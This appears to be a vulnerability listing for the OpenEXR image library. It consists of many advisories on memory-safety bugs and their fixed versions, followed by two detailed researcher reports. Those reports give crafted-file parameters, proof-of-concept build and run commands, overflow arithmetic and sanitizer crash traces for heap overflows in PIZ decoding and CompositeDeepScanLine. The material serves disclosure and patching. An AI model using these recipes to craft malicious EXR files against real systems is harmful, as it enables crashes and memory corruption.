See how openexr compares to other vendors in security performance
OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. From version 3.4.0 through 3.4.13, a crafted HTJ2K-compressed EXR can crash OpenEXR during normal decode. An HTJ2K-compressed EXR whose JPEG 2000 SIZ fields place the first tile outside the visible image can reach invalid tile and codeblock geometry in the vendored OpenJPH AVX2 decoder, causing a stack out-of-bounds write and denial of service. OpenEXR's HTJ2K path validates the decoded codestream dimensions against the EXR chunk size, but it does not reject SIZ image-offset/tile-grid geometry where the first tile does not intersect the image. This issue is fixed in version 3.4.14.
OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. In versions 3.4.0 through 3.4.12, a crafted HTJ2K-compressed EXR file causes an unconditional process abort in any application that calls exrstartread() on untrusted input, resulting in denial of service. The crash is triggered by a QCD marker whose lower five bits are zero, which OpenEXR passes into the vendored OpenJPH library while constructing the codestream and evaluating its quantization delta parameters. OpenJPH uses an assertion rather than a recoverable error to validate those bits, so any invalid value calls abort() directly and cannot be intercepted by surrounding error handling, a problem compounded by OpenEXR wrapping only its internal HT header parser in error handling while leaving the later codestream read and construction calls unprotected. This issue has been resolved in version 3.4.13.
OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. In versions 3.4.0 through 3.4.12, a reachable assertion failure in the HTJ2K decode path allows a crafted HTJ2K-compressed EXR file to cause an unconditional process abort in any application that calls exrstartread() on untrusted input, resulting in denial of service. The crash is triggered by a QCD marker whose lower five bits are zero, which OpenEXR passes into the vendored OpenJPH library while constructing the codestream and evaluating its quantization delta parameters. OpenJPH uses an assertion rather than a recoverable error to validate those bits, so any invalid value calls abort() directly and cannot be intercepted by surrounding error handling, a problem compounded by OpenEXR wrapping only its internal HT header parser in error handling while leaving the later codestream read and construction calls unprotected. This issue has been resolved in version 3.4.13.
OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. Versions prior to 3.2.10, 3.3.12 and 3.4.13 contain a heap out-of-bounds write in Imf40::SampleCountChannel::set(int r, unsigned int newNumSamples[]). The row-based sample-count setter computes the target Y coordinate with dataWindow.min.x instead of dataWindow.min.y. For a valid deep image data window where min.x != min.y, a valid row index can be translated into an invalid Y coordinate, causing writes before the allocated numSamples buffer. The vulnerability is reachable through the public OpenEXRUtil DeepImage API and can lead to heap corruption and process crashes. This issue has been fixed in versions 3.2.10, 3.3.12 and 3.4.13.
OpenEXR is the reference implementation and specification for the EXR high-dynamic-range image file format, widely used in the motion picture industry. Versions 3.4.0 through 3.4.12 contain a NULL pointer dereference in the OpenEXRCore function exrattrsetbytes(). The public setter validates the top-level exrattrbytest value pointer but does not verify that the nested typehint pointer is non-NULL when hintlength is greater than zero. When a caller supplies a positive hintlength together with a NULL typehint, exrattrbytescreate() allocates a destination type-hint buffer and then copies from the NULL source pointer, causing a deterministic crash. The flaw is reachable through the public OpenEXRCore C API and results in a denial of service. The issue is fixed in version 3.4.13.
OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. Versions prior to 3.2.10, 3.3.12, and 3.4.13 contain an infinite-loop vulnerability in SampleCountChannel. The helper roundListSizeUp() rounds a sample-list size up to the next power of two using repeated unsigned left shifts, which terminates for normal values but fails for UINTMAX: the sequence reaches 0x80000000, and the next left shift wraps the 32-bit value to 0. Because 0 remains less than UINTMAX, the loop never progresses and never exits. The bug is reachable through public OpenEXRUtil APIs, either by editing the sample-count buffer through SampleCountChannel::Edit (whose destructor calls endEdit()) or by calling SampleCountChannel::set(x, y, UINTMAX) on a valid pixel. This issue has been fixed in versions 3.2.10, 3.3.12, and 3.4.13.
OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. In versions 3.1.0 through 3.2.10, 3.3.0 through 3.3.12, and 3.4.0 through 3.4.13, an int32t multiplication in OpenEXRCore's unpacksampletable() can overflow while decoding a crafted deep tiled EXR file, producing an invalid pointer that leads to a read from an unmapped memory address and a crash. Because the overflow occurs in the standard decoding path (exrdecodingrun), any application that decodes deep tiled EXR files is affected. This issue is fixed in versions 3.2.11, 3.3.13, and 3.4.14.
OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. In versions before 3.2.11, 3.3.0 through 3.3.12, and 3.4.0 through 3.4.13, a crafted tiled EXR can trigger a heap out-of-bounds write on 32-bit/ILP32 builds when read through the public TiledRgbaInputFile RGBA API. The file uses a small 40x40 dataWindow but a 65537x65537 tile size. On ILP32, the Array2D<Rgba> tile-conversion buffer size calculation overflows, allocates a much smaller heap buffer, and tile decode writes past that allocation. This issue is fixed in versions 3.2.11, 3.3.13, and 3.4.14.
OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. Versions before 3.2.11, 3.3.0 through 3.3.12, and 3.4.0 through 3.4.13 allow a crafted EXR with a nonzero dataWindow.min to make TypedFlatImageChannel::row() return an invalid heap pointer, causing out-of-bounds or use-after-free writes. This occurs when an application writes rows through FlatHalfChannel::row(). Affected consumers are tools, converters, render pipeline components, or image-processing services that accept untrusted EXR files and use FlatHalfChannel::row() on loaded images. This issue is fixed in versions 3.2.11, 3.3.13, and 3.4.14.
OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. In OpenEXRUtil versions 3.3.0 through 3.3.12 and 3.4.0 through 3.4.12, the documented TypedDeepImageChannel<T>::row() API can return an out-of-bounds pointer when a deep image has a non-zero dataWindow origin, resulting in a heap out-of-bounds read and crash, with potential information disclosure under a controlled heap layout. The flaw arises because ImfDeepImageChannel uses two conflicting coordinate models: at(x, y) uses absolute coordinates (with base offset by dataWindow.min), while row(r) is documented as 0-based logical access. For a non-zero dataWindow.min, row(0) therefore points outside the sampleListPointers allocation instead of at the first logical row. This issue is fixed in versions 3.3.13 and 3.4.13.
OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. OpenEXR versions 3.3.0 through 3.3.12 and 3.4.0 through 3.4.13 are vulnerable to a heap out-of-bounds write when exrmetrics reads a crafted deep scanline EXR. This occurs with pixel conversion options such as --pixelmode float or --bench because DeepSlice requests FLOAT output while the backing sample buffers are allocated using the input HALF element size. The issue is fixed in versions 3.3.13 and 3.4.14.
OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. OpenEXR versions before 3.2.11, 3.3.0 through 3.3.12, and 3.4.0 through 3.4.13 can return an out-of-bounds pointer from TypedDeepImageChannel::row() when a crafted deep EXR has a nonzero dataWindow origin. This vulnerability occurs because the API combines zero-based row access with an absolute-coordinate-adjusted base pointer, allowing a crash or limited information disclosure. This issue is fixed in versions 3.2.11, 3.3.13, and 3.4.14.
OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. OpenEXR versions before 3.2.11, 3.3.0 through 3.3.12, and 3.4.0 through 3.4.13 are vulnerable on ILP32 builds to an out-of-bounds read. The vulnerability is reached when a crafted uncompressed deep-tile EXR causes the sample-count table size calculation in OpenEXRCore decoding.c to wrap before unpacksampletable() iterates over the full attacker-controlled tile dimensions, allowing denial of service. This issue is fixed in versions 3.2.11, 3.3.13, and 3.4.14.
OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. OpenEXR versions 3.1.0 through 3.2.10, 3.3.0 through 3.3.12, and 3.4.0 through 3.4.13 are vulnerable on ILP32 builds to an out-of-bounds write. When a crafted B44-compressed scanline EXR causes the logical scratch size to truncate before allocation and uncompressb44impl() writes using the attacker-controlled channel width, allowing denial of service and memory corruption. This issue is fixed in versions 3.2.11, 3.3.13, and 3.4.14.
OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. OpenEXR versions 3.2.0 through 3.2.10, 3.3.0 through 3.3.12, and 3.4.0 through 3.4.13 are vulnerable on ILP32 builds to a heap out-of-bounds read. The issue occurs when a crafted RLE-compressed EXR causes the 64-bit unpacked size to truncate before allocation in OpenEXRCore decoding.c and unpack32bit() reads beyond the resulting buffer, allowing denial of service. This issue is fixed in versions 3.2.11, 3.3.13, and 3.4.14.
OpenEXR is the reference implementation and specification for the EXR image file format, widely used in the motion picture industry. In versions 3.3.0 through 3.3.12 and 3.4.0 through 3.4.13, the PyOpenEXR Python bindings return stale heap data when reading a crafted deep scanline EXR that uses layer-prefixed RGB channels. With the default channel coalescing (separatechannels=False), the wrapper groups channels such as left.R, left.G, and left.B into a single RGB sample array, but the lane-offset calculation in PyPart::setDeepSliceData() only recognizes the exact unprefixed names G, B, and A. As a result, prefixed channels like left.G and left.B are decoded into lane 0 while lanes 1 and 2 are left uninitialized and returned to Python. A Python application that reads untrusted deep EXR files through the default OpenEXR.File API and then logs, serializes, previews, or otherwise processes the resulting NumPy sample arrays may expose uninitialized same-process heap contents, in addition to receiving incorrect green and blue channel data. This issue is fixed in versions 3.3.13 and 3.4.14.
OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. From version 3.4.0 through 3.4.12, the HTJ2K decoder parses a header-length field (PLEN) from a chunk's compressed data but never checks that this value fits within the available buffer before using it. When decoding, it advances the codestream pointer by the attacker-supplied header size and passes the resulting offset and remaining length to the OpenJPH memory-input path, so a crafted value pushes the pointer past the end of the buffer and causes an out-of-bounds read. Because this field comes straight from attacker-controlled EXR chunk data, the flaw is reachable during normal decoding of an untrusted file. This issue is fixed in version 3.4.13.
OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. Versions 3.3.0 through 3.3.12 and 3.4.0 through 3.4.13 contain a heap buffer overflow in PyOpenEXR triggered by a channel-name key collision between literal and prefixed RGB channels. When separatechannels=false, PyOpenEXR maps each physical channel name through channelNameToRGBA() and coalesces the results into a shared RGB array. A crafted flat scanline EXR that contains both a literal channel such as left and prefixed channels such as left.R, left.G, and left.B causes these names to collide, so the wrapper reuses an undersized two-dimensional NumPy array for the coalesced RGB slices and writes out of bounds when OpenEXR.File(path) decodes the pixels. This issue is fixed in versions 3.3.13 and 3.4.14.
OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. In versions before 3.2.11, 3.3.0 through 3.3.12, and 3.4.0 through 3.4.13, exrmultiview can write past a heap allocation when it combines two attacker-supplied, individually valid scanline EXR files whose union dataWindow is not aligned to one view's channel subsampling. The utility allocates sampled channel storage using a truncated unionwidth / xSampling, then reads the sampled input through a Slice based on the misaligned union window, producing a heap out-of-bounds write. The trigger is normal public-tool processing, such as exrmultiview left A.exr right B.exr out.exr with crafted but valid inputs, so this is not solely an API or caller-precondition issue. This issue is fixed in versions 3.2.11, 3.3.13, and 3.4.14.
OpenEXR is the reference implementation and specification for the EXR image file format, widely used in the motion picture industry. In versions 3.3.0 through 3.3.12 and 3.4.0 through 3.4.13, the PyOpenEXR Python bindings contain a heap out-of-bounds write triggered when reading a crafted deep scanline EXR file. When a deep file declares a literal channel named left alongside layer-prefixed RGB channels left.R, left.G, and left.B, the wrapper processes the literal left channel first and allocates a scalar deep sample array for it, then reuses that same array as the coalesced destination for the prefixed RGB group. The deep reader registers sample slices with an RGB stride (three lanes) into storage that was allocated with scalar shape, so decoding the deep samples writes past the allocation. Opening such a file through the default public Python API, OpenEXR.File(path), causes a heap buffer overflow during normal deep sample decode, leading to memory corruption and a crash. This issue is fixed in versions 3.3.13 and 3.4.14.
OpenEXR is the reference implementation and specification for the EXR image file format, widely used in the motion picture industry. In versions through 3.2.10, 3.3.0 through 3.3.12, and 3.4.0 through 3.4.13, the OpenEXRUtil library returns an out-of-bounds pointer from the SampleCountChannel::row() API when a deep image has a non-zero dataWindow origin. The row() accessor is documented as 0-based and computes its address from an internal base that is offset for absolute pixel coordinates, so the two coordinate models conflict whenever dataWindow.min is non-zero. For a deep image whose data window has a large negative vertical origin, row(0) points far outside the allocated sample-count buffer. An application that opens an attacker-controlled deep EXR file and accesses sample counts through row() performs an out-of-bounds read, which can crash the process or, under a controlled heap layout, return adjacent heap memory as sample-count values. This issue is fixed in versions 3.2.11, 3.3.13, and 3.4.14.
Summary
internalexrundopiz() advances the working wavelet pointer with signed 32-bit arithmetic:
c wavbuf += nx ny wcount;
Because nx, ny, and wcount are int, a crafted EXR file can make this product overflow and wrap. The next channel then decodes from an incorrect address. The wavelet decode path operates in place, so this yields both out-of-bounds reads and out-of-bounds writes.
Tested on commit 7820b7e1b93405ba1d551c43a945018226b75bc5
Technical Details
The vulnerable decode path is:
1. internalexrundopiz() sets wavbuf = decode->scratchbuffer1. 2. For each channel, it calls wav2Ddecode (wavbuf + j, ...). 3. It then advances wavbuf with wavbuf += nx ny wcount.
The overflow happens in step 3. Once wavbuf is wrapped, the next channel's wavelet decode runs on the wrong address.
In the 14-bit wavelet path, wdec144() first reads:
- px - p10 - p01 - p11
and then writes back to the same locations:
- px = ... - p01 = ... - p10 = ... - p11 = ...
As a result, the bug is not just a crash-only invalid read. It is an out-of-bounds read/write condition.
Reproduction
pizscanlineredzone.zip
Build exrcheck with ASAN and run:
❯ ./build-asan/bin/exrcheck /tmp/pizscanlineredzone.exr file /tmp/pizscanlineredzone.exr /home/pop/sec/openexr/src/lib/OpenEXRCore/internalpiz.c:373:19: runtime error: signed integer overflow: 134217724 32 cannot be represented in type 'int' ================================================================= ==1711239==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7bedc3934700 at pc 0x7bf1f100f498 bp 0x7ffe032d8f00 sp 0x7ffe032d8ef0 READ of size 2 at 0x7bedc3934700 thread T0 #0 0x7bf1f100f497 in wdec144 /home/pop/sec/openexr/src/lib/OpenEXRCore/internalpiz.c:148 #1 0x7bf1f100f497 in wav2Ddecode /home/pop/sec/openexr/src/lib/OpenEXRCore/internalpiz.c:403 #2 0x7bf1f100f497 in internalexrundopiz /home/pop/sec/openexr/src/lib/OpenEXRCore/internalpiz.c:727 #3 0x7bf1f115b038 in exruncompresschunk /home/pop/sec/openexr/src/lib/OpenEXRCore/compression.c:546 #4 0x7bf1f1161168 in exrdecodingrun /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:580 #5 0x7bf1f2a71add in rundecode /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586 #6 0x7bf1f2a83dc4 in Imf40::ScanLineInputFile::Data::readPixels(Imf40::FrameBuffer const&, int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500 #7 0x7bf1f28c6a81 in Imf40::InputFile::Data::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfInputFile.cpp:458 #8 0x7bf1f3bfe2dc in readScanline<Imf40::InputPart> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:239 #9 0x7bf1f3c05b04 in readMultiPart /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:905 #10 0x7bf1f3c126fd in runChecks<char const> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1171 #11 0x7bf1f3c146b9 in Imf40::checkOpenEXRFile(char const, bool, bool, bool) /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1835 #12 0x5d9675fce8f8 in exrCheck(char const, bool, bool, bool, bool) /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:96 #13 0x5d9675fcb2b1 in main /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:164 #14 0x7bf1efe2a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #15 0x7bf1efe2a28a in libcstartmainimpl ../csu/libc-start.c:360 #16 0x5d9675fcc844 in start (/home/pop/sec/openexr/build-asan/bin/exrcheck+0xe844) (BuildId: 087c972343a5372940c42c0a2e7bce4a84288aec)
0x7bedc3934700 is located 256 bytes before 8590720784-byte region [0x7bedc3934800,0x7befc39f4710) allocated by thread T0 here: #0 0x7bf1f40fd9c7 in malloc ../../../../src/libsanitizer/asan/asanmalloclinux.cpp:69 #1 0x7bf1f115883e in internaldecodeallocbuffer /home/pop/sec/openexr/src/lib/OpenEXRCore/coding.c:256 #2 0x7bf1f100da97 in internalexrundopiz /home/pop/sec/openexr/src/lib/OpenEXRCore/internalpiz.c:643 #3 0x7bf1f115b038 in exruncompresschunk /home/pop/sec/openexr/src/lib/OpenEXRCore/compression.c:546 #4 0x7bf1f1161168 in exrdecodingrun /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:580 #5 0x7bf1f2a71add in rundecode /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586 #6 0x7bf1f2a83dc4 in Imf40::ScanLineInputFile::Data::readPixels(Imf40::FrameBuffer const&, int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500 #7 0x7bf1f28c6a81 in Imf40::InputFile::Data::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfInputFile.cpp:458 #8 0x7bf1f3bfe2dc in readScanline<Imf40::InputPart> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:239 #9 0x7bf1f3c05b04 in readMultiPart /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:905 #10 0x7bf1f3c126fd in runChecks<char const> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1171 #11 0x7bf1f3c146b9 in Imf40::checkOpenEXRFile(char const, bool, bool, bool) /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1835 #12 0x5d9675fce8f8 in exrCheck(char const, bool, bool, bool, bool) /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:96 #13 0x5d9675fcb2b1 in main /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:164 #14 0x7bf1efe2a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #15 0x7bf1efe2a28a in libcstartmainimpl ../csu/libc-start.c:360 #16 0x5d9675fcc844 in start (/home/pop/sec/openexr/build-asan/bin/exrcheck+0xe844) (BuildId: 087c972343a5372940c42c0a2e7bce4a84288aec)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/internalpiz.c:148 in wdec144 Shadow bytes around the buggy address: 0x7bedc3934480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bedc3934500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bedc3934580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bedc3934600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bedc3934680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x7bedc3934700:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bedc3934780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bedc3934800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7bedc3934880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7bedc3934900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7bedc3934980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==1711239==ABORTING
To prove this is both READ and WRITE, we can also memcheck against non-ASAN release build:
sh valgrind --tool=memcheck --leak-check=no --track-origins=no \ --error-limit=no --num-callers=20 \ ./build-relwithdebinfo/bin/exrcheck /tmp/pizscanlineredzone.exr
Observed result:
- Invalid read of size 2 at internalpiz.c:150 - Invalid write of size 2 at internalpiz.c:171
This confirms the bug is an OOB read/write, not only a read-first crash.
Redzone-Oriented File
- width: 67108862 - height: 32 - channel A: FLOAT, sampling 1 x 1 - channel B: HALF, sampling 33554431 x 16
This makes:
text width 32 2 = 4294967168
which wraps signed 32-bit arithmetic to -128.
That places the next wavbuf access just before the allocated buffer, producing a clean heap-overflow report.
Impact
A crafted EXR file can trigger out-of-bounds memory access during PIZ decompression. The primitive includes both invalid reads and invalid writes. Depending on allocator layout and surrounding memory, this could lead to process crash, memory corruption, or potentially stronger exploitation outcomes.
Recommended Fix
- compute channel span in 64-bit arithmetic - reject any overflow in nx ny wcount - validate cumulative per-channel decoded footprint against outsz before wavelet decode - fail decompression if channel-derived layout does not exactly fit the decompression buffer -------- Found by: Quang Luong of Calif.io
Summary
Function: CompositeDeepScanLine::readPixels, reachable from high-level multipart deep read flows (MultiPartInputFile + DeepScanLineInputPart + CompositeDeepScanLine).
Vulnerable lines (src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp): - totalsizes[ptr] += counts[j][ptr]; (line ~511) - overallsamplecount += totalsizes[ptr]; (line ~514) - samples[channel].resize (overallsamplecount); (line ~535)
Impact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in genericunpackdeeppointers (src/lib/OpenEXRCore/unpack.c:1374) (DoS/Crash, memory corruption/RCE).
Attack scenario: - Attacker provides multipart deep EXR with many parts and very large sample counts per pixel. - Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure. - The overflow happens in composite sample accounting (unsigned int), while pointer progression for decode uses larger counters and reaches out-of-bounds.
Tested on: OpenEXR 4.0.0-dev (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0
Steps to reproduce
compositedeepscanlinepocbundle.patch
PoC files used: - Writer/generator: poc/compositedeepscanlinee2ecompressedpoc.cpp - Minimal high-level reader harness: poc/simpleexrreader.cpp
The reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select DEEPSCANLINE, add sources to CompositeDeepScanLine, bind a normal FrameBuffer, then call readPixels.
Build with ASAN/UBSAN:
bash cmake -S . -B build-asan \ -DOPENEXRBUILDPOC=ON \ -DCMAKEBUILDTYPE=RelWithDebInfo \ -DCMAKECFLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \ -DCMAKECXXFLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \ -DCMAKEEXELINKERFLAGS='-fsanitize=address,undefined' \ -DCMAKESHAREDLINKERFLAGS='-fsanitize=address,undefined'
cmake --build build-asan --target compositewriter simpleexrreader -j
Generate malicious file (decode-path focused profile):
bash ASANOPTIONS=detectleaks=0 timeout 180s \ ./build-asan/poc/compositewriter \ --profile low-ram \ --file /tmp/compositedecodefocus.exr
Trigger:
bash ASANOPTIONS=detectleaks=0 timeout 30s \ ./build-asan/poc/simpleexrreader /tmp/compositedecodefocus.exr
ASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.
Example runs
Writer (abbrev):
bash ❯ ./build-asan/poc/compositewriter exploit math: benign samples : 300 malicious parts : 86 malicious samples per part : 50000000 true total samples : 4300000300 uint32 overflow reached : yes wrapped uint32 total : 5033004 composite Z/A alloc from wrap : 40264032 bytes (38.40 MiB) per-part unpacked sample bytes : 300000000 bytes (286.10 MiB) min parts to overflow (current benign/samples): 86 writing compressed multipart deep EXR: /tmp/compositedeepscanlinee2ecompressed.exr writing donor malicious part (50000000 samples) copying malicious part 1/86 from donor chunk ... file size: 26112896 bytes (24.90 MiB)
Reader ASAN crash:
bash ❯ ./build-asan/poc/simpleexrreader reading /tmp/compositeoverflowoptimized.exr with 16 deepscanline parts ================================================================= ==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670 WRITE of size 4 at 0x7ed1a55d90b0 thread T0 #0 0x7ed1da7854f6 in genericunpackdeeppointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 #1 0x7ed1da7623e9 in exrdecodingrun /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664 #2 0x7ed1dbcb153b in rundecode /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:816 #3 0x7ed1dbcc597f in Imf40::DeepScanLineInputFile::Data::readData(Imf40::DeepFrameBuffer const&, int, int, bool) /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:568 #4 0x7ed1dbc01ca4 in Imf40::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:576 #5 0x64669005f233 in main /home/pop/sec/openexr/poc/simpleexrreader.cpp:88 #6 0x7ed1d942a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #7 0x7ed1d942a28a in libcstartmainimpl ../csu/libc-start.c:360 #8 0x6466900601e4 in start (/home/pop/sec/openexr/build-asan/poc/simpleexrreader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)
0x7ed1a55d90b0 is located 0 bytes after 820132016-byte region [0x7ed1747b5800,0x7ed1a55d90b0) allocated by thread T0 here: #0 0x7ed1dd0fe548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asannewdelete.cpp:95 #1 0x7ed1dbc29600 in std::newallocator<float>::allocate(unsigned long, void const) /usr/include/c++/13/bits/newallocator.h:151 #2 0x7ed1dbc29600 in std::allocatortraits<std::allocator<float> >::allocate(std::allocator<float>&, unsigned long) /usr/include/c++/13/bits/alloctraits.h:482 #3 0x7ed1dbc29600 in std::Vectorbase<float, std::allocator<float> >::Mallocate(unsigned long) /usr/include/c++/13/bits/stlvector.h:381 #4 0x7ed1dbc29600 in std::Vectorbase<float, std::allocator<float> >::Mallocate(unsigned long) /usr/include/c++/13/bits/stlvector.h:378 #5 0x7ed1dbc29600 in std::vector<float, std::allocator<float> >::Mdefaultappend(unsigned long) /usr/include/c++/13/bits/vector.tcc:663 #6 0x7ed1dbc00184 in std::vector<float, std::allocator<float> >::resize(unsigned long) /usr/include/c++/13/bits/stlvector.h:1016 #7 0x7ed1dbc00184 in Imf40::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:535 #8 0x64669005f233 in main /home/pop/sec/openexr/poc/simpleexrreader.cpp:88 #9 0x7ed1d942a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #10 0x7ed1d942a28a in libcstartmainimpl ../csu/libc-start.c:360 #11 0x6466900601e4 in start (/home/pop/sec/openexr/build-asan/poc/simpleexrreader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 in genericunpackdeeppointers Shadow bytes around the buggy address: 0x7ed1a55d8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x7ed1a55d9080: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa 0x7ed1a55d9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==175024==ABORTING
Root cause analysis
In CompositeDeepScanLine::readPixels:
1. Per-pixel totals are accumulated in vector<unsigned int> totalsizes. 2. For attacker-controlled large counts across many parts, totalsizes[ptr] wraps modulo 2^32. 3. overallsamplecount is then derived from wrapped totals and used in samples[channel].resize(overallsamplecount). 4. Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (genericunpackdeeppointers) overrun the undersized composite sample buffer.
Allocation is based on a tiny wrapped value, but decode writes correspond to the true large sample volume.
Impact
Heap OOB write during decode. This is at minimum a reliable crash/DoS. As heap corruption, this bug could be used for potential remote code execution.
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From versions 3.0.0 to before 3.2.9, 3.3.0 to before 3.3.11, and 3.4.0 to before 3.4.11, there is an integer overflow in ImageChannel::resize that leads to heap OOB write via OpenEXRUtil public API. This issue has been patched in versions 3.2.9, 3.3.11, and 3.4.11.
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From versions 3.0.0 to before 3.2.9, 3.3.0 to before 3.3.11, and 3.4.0 to before 3.4.11, IDManifest::init() reconstructs strings from a prefix-compressed representation. If the previous string is longer than 255 bytes, the next string is expected to begin with a 2-byte prefix length. The code reads stringList[i][0] and stringList[i][1] without checking that the current string has at least two bytes. This issue has been patched in versions 3.2.9, 3.3.11, and 3.4.11.
